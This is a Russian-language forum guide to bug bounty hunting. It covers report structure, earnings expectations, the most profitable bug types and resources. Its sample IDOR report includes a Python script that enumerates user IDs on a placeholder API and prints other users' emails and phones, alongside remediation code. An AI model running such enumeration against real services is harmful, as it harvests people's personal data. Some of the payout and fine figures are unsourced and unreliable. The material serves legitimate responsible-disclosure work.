Blind XSS — это как лотерея, но с высоким шансом на выигрыш. Свой XSS Hunter — это твой личный билет.
🔓 Эксклюзивный контент для зарегистрированных пользователей.

Написание Killer-Отчетов: Структура и Примеры​

Найти баг — это полдела. Продать его — вот где искусство. Твой отчет — это твой голос. Он должен быть убедительным.

Анатомия Отчета на $5000+​

Это не просто текст. Это документ, который приносит тебе деньги. Каждый элемент важен.

Ключевые элементы успешного отчета:
  1. Executive Summary (2-3 предложения) — бизнес-импакт простыми словами. Для тех, кто не вникает в код.
  2. Technical Details — достаточно для воспроизведения, но не избыточно. Четкость.
  3. Business Impact — конкретные цифры потенциального ущерба. Это язык бизнеса.
  4. PoC — работающий код + видео-демонстрация. Никаких "может быть".
  5. Remediation — конкретные шаги по исправлению. Ты не просто ломаешь, ты помогаешь чинить.

Примеры Успешных Отчетов​

Пример 1: IDOR в API (выплата $2,500)​

Несанкционированный доступ к персональным данным через IDOR в API v2
Executive Summary

Обнаружена уязвимость типа IDOR в API endpoint /api/v2/users/{id}/profile, позволяющая любому авторизованному пользователю получить доступ к персональным данным других пользователей, включая email, телефон и адрес. Затрагивает 100% пользователей платформы (1.2M+ аккаунтов).

Technical Details
Vulnerable Endpoint:

Код:
GET https://api.example.com/v2/users/{user_id}/profile<br>
Authentication Required:

Да, любой валидный JWT токен

Steps to Reproduce:
  1. Зарегистрировать аккаунт на платформе
  2. Получить JWT токен через /api/auth/login
  3. Отправить GET запрос к /api/v2/users/1/profile с токеном в заголовке
  4. Наблюдать возврат персональных данных пользователя ID=1
Proof of Concept:
Python:
import requests

# Получение токена атакующего (для авторизации)
auth_response = requests.post('https://api.example.com/auth/login', json={
    'email': 'attacker@example.com',
    'password': 'password123'
})
token = auth_response.json()['access_token']

# IDOR атака
headers = {'Authorization': f'Bearer {token}'}
vulnerable_endpoint = 'https://api.example.com/v2/users/{}/profile'

# Перебор ID пользователей
for user_id in range(1, 101):  # Первые 100 пользователей
    response = requests.get(vulnerable_endpoint.format(user_id), headers=headers)
 
    if response.status_code == 200:
        user_data = response.json()
        print(f"User {user_id}: {user_data['email']}, {user_data['phone']}")
Video Demonstration:
[Ссылка на ваше видео с демонстрацией]

Business Impact​

Data at Risk:
  • Personal Information: Email, phone, full name для 1.2M+ пользователей
  • Sensitive Data: Billing addresses, последние 4 цифры карт
  • Compliance Risk: Нарушение GDPR/152-ФЗ
Potential Losses:
  • Regulatory Fines: До €20M (GDPR) или 6% оборота (152-ФЗ)
  • Reputation Damage: Потеря доверия пользователей
  • Legal Costs: Судебные иски от пострадавших пользователей
Attack Scenarios:
  1. Mass Data Harvesting: Автоматический сбор всех пользовательских данных
  2. Targeted Attacks: Получение данных конкретных VIP-пользователей
  3. Social Engineering: Использование данных для фишинга и мошенничества

Remediation​

Immediate Fix (1-2 hours):
Python:
# Добавить проверку владельца ресурса
def get_user_profile(user_id, current_user_id):
    # Проверка прав доступа
    if user_id != current_user_id and not current_user.is_admin():
        raise PermissionError("Access denied")
 
    return User.objects.get(id=user_id).profile
Long-term Solution (1-2 weeks):
  1. Внедрить Role-Based Access Control (RBAC)
  2. Добавить audit logging для всех API вызовов
  3. Провести security review всех user-related endpoints
  4. Внедрить automated testing для IDOR уязвимостей

Additional Information​

  • First Discovered: 2025-01-15 14:30 UTC
  • Affected Versions: API v2.1.0 - v2.3.5
  • CWE: CWE-639 (Authorization Bypass Through User-Controlled Key)
  • CVSS v3.1: 8.1 (High)
Researcher: Ivan Petrov
Contact:
Report Date: January 15, 2025

Часто Задаваемые Вопросы​

Давай разберем самые горячие вопросы, которые волнуют каждого, кто приходит в Bug Bounty.

Сколько Реально Заработать на Bug Bounty в 2025 Году?​

Не слушай сказки. Вот реалистичные цифры.

Реалистичные ожидания по месяцам:
  • Месяцы 1-3: $0-500. Учишься, делаешь первые шаги.
  • Месяцы 4-6: $500-2000. Специализация, рост эффективности.
  • Месяцы 7-12: $1000-5000. Стабильный доход, high-impact находки.
  • Год 2+: $3000-10000+. Экспертиза, private программы.
Статистика по уровням (данные HackerOne 2024):
  • Топ-1%: $100k+/год (20-30 человек в мире). Это элита.
  • Топ-10%: $45k+/год (профессиональные хантеры). Это твоя цель.
  • Медиана: $3,200/год (большинство участников).
  • 50% хантеров: менее $500/год (нерегулярное участие). Не будь таким.

С Чего Начать в Bug Bounty, Если Уже Есть Опыт в Пентесте?​

Ты уже впереди многих. Но Bug Bounty — это другая игра.

Адаптация навыков пентестера:

1. Смена мышления: От comprehensive assessment к targeted hunting.
2. Скорость vs глубина: Быстрая проверка множества целей.
3. Документирование: Killer-отчеты вместо технических отчетов.
4. Бизнес-импакт: Фокус на реальном ущербе для бизнеса.

План перехода (4-6 недель):

Неделя 1-2: Изучение платформ
  • Регистрация на HackerOne, Bugcrowd, Intigriti
  • Анализ 20+ resolved отчетов в вашей области
  • Понимание различий в scope и правилах
Неделя 3-4: Первые программы
  • Выбор 3-5 программ средней сложности
  • Фокус на знакомые технологии
  • Первые 2-3 отчета (даже если Low severity)
Неделя 5-6: Оптимизация процесса
  • Автоматизация reconnaissance
  • Разработка чек-листов
  • Анализ feedback от триажеров

Какие Уязвимости Самые Прибыльные в Bug Bounty?​

Не все баги одинаково полезны. И прибыльны. Вот куда стоит бить.

ТОП-5 по соотношению сложность/выплата:

Тип уязвимостиМедианная выплатаСложность поискаROI
Business Logic$1500-4000Средняя⭐⭐⭐⭐⭐
IDOR$500-1500Низкая⭐⭐⭐⭐⭐
Authentication Bypass$2000-5000Высокая⭐⭐⭐⭐
SSRF$1000-3000Средняя⭐⭐⭐⭐
Rate Limit Bypass$300-1000Низкая⭐⭐⭐

Специализация по вертикалям:
  • Fintech: Payment bypasses, transaction manipulation ($3k-15k).
  • SaaS: Multi-tenant isolation bugs, privilege escalation ($1k-8k).
  • E-commerce: Price manipulation, inventory bypass ($500-5k).
  • Social: Privacy violations, data exposure ($800-3k).

Как Писать Отчеты, За Которые Платят $5k+?​

Это не магия, это формула.

Формула high-payout отчета:

Критическая уязвимость + Четкий бизнес-импакт + Качественный PoC +
Профессиональное изложение = $5k+ выплата

Обязательные элементы:
  1. Quantified Business Impact: "Потенциальные потери $X в день". Конкретика.
  2. Working PoC: Код + видео-демонстрация. Без этого никуда.
  3. Attack Scenarios: 2-3 реалистичных сценария эксплуатации. Покажи, как это будет использовать злоумышленник.
  4. Clear Remediation: Конкретные шаги по исправлению. Ты — решение, а не только проблема.
  5. Professional Tone: Без эмоций, фокус на фактах.
Типичные ошибки дорогих отчетов:
  • Переоценка severity (Critical вместо High).
  • Недостаточный PoC (не работает у триажера).
  • Отсутствие бизнес-контекста.
  • Грамматические ошибки и опечатки.

Стоит Ли Участвовать в Российских Программах Bug Bounty?​

Однозначно да. Но с пониманием.

✅ Преимущества российских программ:
  • Языковой барьер: Отчеты на русском языке.
  • Меньшая конкуренция: В 5-10 раз меньше участников.
  • Локальный контекст: Понимание бизнес-логики.
  • Быстрые выплаты: 3-7 дней против 30-90 на западе.
  • Рост рынка: +230% новых программ в 2024 году.
❌ Недостатки:
  • Меньшие выплаты: В среднем в 2-3 раза ниже западных.
  • Ограниченный scope: Меньше публичных программ.
  • KYC требования: Российское гражданство для некоторых.
  • Валютные риски: Выплаты в рублях.
Рекомендуемая стратегия:
70% времени — международные программы, 30% — российские. Это твой баланс стабильности и роста.

Решение Типовых Проблем​

На пути к успеху будут шишки. Это нормально. Главное — знать, как их обойти.

1754992850809.webp

Ресурсы для Углубления​

Твоя жажда знаний должна быть неутолимой. Вот куда двигаться дальше.

Русскоязычные:​

  • Хабр — статьи по информационной безопасности и Bug Bounty кейсы.
  • HackerLab — российская платформа с обучающими материалами.
  • BI.ZONE — блог с анализом уязвимостей и методик.

Инструменты Доступные в РФ:​

  • Burp Suite Professional — через криптоплатежи или реселлеров.
  • Nuclei + ProjectDiscovery — open source, доступен без ограничений.
  • OWASP ZAP — бесплатная альтернатива Burp Suite.
  • Selectel/Timeweb VPS — для размещения сканирующей инфраструктуры.

Международные Платформы:​

  • — крупнейшая BB платформа, доступна из РФ.
  • Bugcrowd — вторая по размеру, хорошие выплаты.
  • Intigriti — европейская платформа, растущая база программ.
  • YesWeHack — французская платформа с уникальными программами.
Вот и всё, коллега. Ты получил не просто гайд, а полноценную дорожную карту по Bug Bounty на 2025 год. Теперь у тебя есть все инструменты, знания и стратегии, чтобы не просто участвовать, а зарабатывать. Помни: главное — систематический подход, фокус на high-impact уязвимостях и умение писать killer-отчеты. Индустрия Bug Bounty ждет тебя! Удачи в охоте, и до встречи в топах!
 
  • Нравится
Реакции: mamluke
Мы в соцсетях:

Взломай свой первый сервер и прокачай скилл — Начни игру на HackerLab